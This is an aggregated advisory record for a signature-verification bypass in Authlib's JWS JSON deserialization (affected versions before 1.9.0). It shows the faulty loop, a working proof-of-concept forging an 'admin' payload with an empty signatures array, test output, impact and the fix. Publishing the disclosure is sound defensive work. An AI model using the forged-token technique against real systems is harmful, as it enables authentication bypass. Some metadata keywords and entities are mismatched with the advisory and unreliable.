---
schema_version: '1.0'
id: security-20261028-c047f3
title: 'CVE-2026-96760: Authlib: empty signatures validation in JWS JSON deserialization'
url: https://osv.dev/vulnerability/GHSA-6v38-4h7w-rj9h
url_hash: c047f32528c08d667181085bc4f10cb6476df682e02c75baceb5fafea3757ad4
canonical_url: https://osv.dev/vulnerability/GHSA-6v38-4h7w-rj9h
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-96760
- GHSA-6v38-4h7w-rj9h
- severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- authlib
- PyPI
lang: en
published_at: '2026-10-27T14:50:18Z'
fetched_at: '2026-10-28T12:20:29.870934Z'
updated_at: '2026-10-28T15:13:16Z'
status: published
content_hash: 19523a8bbe47fba4b6b7764eb824b2599383d4afa4ae30342bf7747307dcd4c4
content_changed_at: null
license_note: full
summary: 'Authlib: empty signatures validation in JWS JSON deserialization'
summary_source: rss
summary_en: 'Authlib: empty signatures validation in JWS JSON deserialization'
summary_omitted_reason: null
redistribution: true
keywords_en:
- authlib
- cve
- CVE-2026-96760
- deserialization
- empty
- GHSA-6v38-4h7w-rj9h
- JSON
- JWS
- library vulnerability
- PyPI
- PyPIのBrotliパッケージ
- severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Shay McVeigh
- signatures
- software security
- validation
- validation-pass-persistence-check
entities_en:
- name: PyPIのBrotliパッケージ
  type: organization
- name: Shay McVeigh
  type: person
- name: validation-pass-persistence-check
  type: skill
topics_en:
- library vulnerability
- software security
numeric_facts: []
entities:
- name: Shay McVeigh
  type: person
- name: PyPIのBrotliパッケージ
  type: organization
- name: validation-pass-persistence-check
  type: skill
key_facts: []
related: []
related_auto: []
computed_at: '2026-10-28T15:12:07Z'
---

# CVE-2026-96760: Authlib: empty signatures validation in JWS JSON deserialization

## TL;DR
Authlib: empty signatures validation in JWS JSON deserialization

## Key Points
- cve / CVE-2026-96760 / GHSA-6v38-4h7w-rj9h / severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N / authlib / PyPI

## Details
**Severity:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
**Advisory:** GHSA-6v38-4h7w-rj9h (CVE-2026-96760)

**Details:**
Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

## Root cause

`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:

```python
is_valid = True                        # set before anything is checked
for header_obj in obj["signatures"]:   # empty array means the body never runs
    jws_header, valid = self._validate_json_jws(...)
    if not valid:
        is_valid = False
...
if is_valid:
    return rv                          # returns the payload as verified
```

`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON
Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and
the payload is returned as successfully verified. No key is consulted, because no signature is
examined.

## Reproduction

```python
import base64
from authlib.jose import JsonWebSignature

def b64(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}

print(jws.deserialize_json(forged, key=None))
```

Observed on authlib 1.8.0, Python 3.14, clean virtualenv:

```
[A] ATTACK   general JSON, signatures:[] , key=None
    ACCEPTED  -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK   general JSON, signatures:[] , key=<real key>
    ACCEPTED  -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+ genuine general JSON with 2 signatures, right key
    ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL- same object, first signature corrupted
    rejected (expected): BadSignatureError bad_signature:
[E] CONTROL- signatures array removed entirely (not empty, absent)
    rejected: DecodeError Missing "protected" value:
```

[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves
tampering is caught. [E] proves this is specifically the empty-array case and not a general
missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not
save a caller: the empty array is accepted either way.

For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects
the identical object with `BadSignatureError`. The correct behaviour already exists in your newer
library.

## Impact

Any relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will
accept an attacker-authored payload as signed. Where that payload carries identity or authorisation
claims, this is a complete authentication bypass by an unauthenticated remote caller with no key
material. 

## What would fix it

In `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag
from the signature count, for example `is_valid = len(obj["signatures"]) > 0`. Pull request #938
proposes the same thing.

**References:**
- https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h
- https://nvd.nist.gov/vuln/detail/CVE-2026-96760
- https://github.com/authlib/authlib/pull/938
- https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733
- https://github.com/authlib/authlib
- https://github.com/authlib/authlib/releases/tag/v1.9.0
- https://kb.cert.org/vuls/id/762428
- https://www.kb.cert.org/vuls/id/762428

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-6v38-4h7w-rj9h_

## Source
元記事: [CVE-2026-96760: Authlib: empty signatures validation in JWS JSON deserialization](https://osv.dev/vulnerability/GHSA-6v38-4h7w-rj9h) — published 2026-10-27T14:50:18Z
